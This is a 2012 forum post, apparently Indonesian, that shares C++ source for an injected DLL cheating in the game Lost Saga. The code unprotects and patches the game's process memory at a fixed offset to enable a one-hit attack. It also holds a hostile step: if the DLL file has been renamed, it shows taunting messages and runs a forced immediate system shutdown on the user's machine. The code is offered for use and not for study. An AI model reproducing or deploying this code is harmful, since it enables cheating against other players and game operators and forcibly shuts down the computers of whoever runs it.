VGM.Daponsent ADMINISTRATOR
Jumlah posting : 64 Points : 2000118 Join date : 04.04.12 Age : 31
| Subyek: BASE LOST SAGA AUTO ON Sat Aug 04, 2012 5:27 am | |
| //======================================// // LostSaga Base Auto ON // Credit by Stuart'z Little // Don't Share Not Created Or Thank'z ! // Don't Change / Edit This Articel ! // You Change This Articel , You Is Leacher !! //======================================// #include
#pragma warning(disable: 4700)
LPTSTR APP = "lostsaga.exe";
DWORD Gravity, adrSpeed, dwI3EXEC, adrProteck, adrDelay, adrCrusade, adrKebal, adrDarah,ofsMNZ1, dwBase, Change, CheckProtection;
void Blucyz(void *adr, void *ptr, int size)
{
DWORD CheckProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &ofsMNZ1);
RtlMoveMemory(adr,ptr,size);
VirtualProtect(adr,size,CheckProtection, &dwBase);
}
//Protect address
void InProtectAndModify(DWORD Offset, DWORD Pointer, DWORD Length){
VirtualProtect((void *)Offset, Length, PAGE_EXECUTE_READWRITE, &CheckProtection); // check apakah address tsb dikunci / protected ? kalau iya, lakukan unprotect
RtlMoveMemory((void *)Offset, (const void*)Pointer, Length); // ubah address tsb menjadi writeable, dan lakukan patch dengan MEMpatch
VirtualProtect((void *)Offset, Length, CheckProtection, &CheckProtection); // protect lagi address tsb biar gk kena satpam
}
// Lakukan patch terhadap memory
int MEMhack( BYTE *Offset, BYTE *ByteArray, DWORD Length){
InProtectAndModify((DWORD)Offset , (DWORD)ByteArray , 2);
}
BOOL wanda(unsigned long ADRexec, int OFSexec, int PTRexec)
{
if (!IsBadWritePtr((void*)ADRexec, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ADRexec + OFSexec), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ADRexec + OFSexec) = PTRexec;
}
}
return (0);
}
DWORD WINAPI GantengsHex(LPVOID param)
{
while(1)
{
//========================= Auto ON Hotkeys ========================================
dwI3EXEC = (DWORD)GetModuleHandleA("lostsaga.exe");
if(dwI3EXEC >0)
{
DWORD adrCrusade = dwI3EXEC+0x68D088;//Auto ON 1 Hit Crusade
Blucyz((void *)(adrCrusade),(void*)(PBYTE)"\x00\x00\x00", 3);
}
//------------------------------------------------------------------------------
{
Sleep(108);
}
}
return(0);
}
//------------------------------------------------------------------------------
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpvReserved)
{
if(dwReason == DLL_PROCESS_ATTACH) {
char strDLLName [_MAX_PATH];
Sleep(200);
MessageBox (0,"Created by Stuart'z Little\n\nFeature : \n~ No Delay\n~ 1 Hit Crusade\n~ Kebal\n~ HP Recovery\n\nAUTO ON Keys !!\n\nBlog : www.vgmdaponsent.forumution.com\nForum : www.vgmdaponsent.indonesianforum.net","|| == Dimas Syahputra == ||", MB_OKCANCEL + MB_ICONINFORMATION);
GetModuleFileName(hModule, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "Blucyz.dll") <= 0) {
MessageBox(0, "Why you Renaming My File ?","|| == stuart'z Little == ||",MB_ICONSTOP | MB_OK);
MessageBox(0, "You This Cheater Or Leacher ?","|| == Stuart'z Little == ||",MB_ICONSTOP | MB_OK);
MessageBox(0, "See You , \nYour System Data We Restart\n\nTo Say GoodBye :*","|| == Dimas Syahputra == ||",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR
}
//------------------------------------------------------------------------------
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)GantengsHex, 0, 0, 0);
}
return TRUE;
}Credit By :SCROUT'Z OCSAIDER | |
|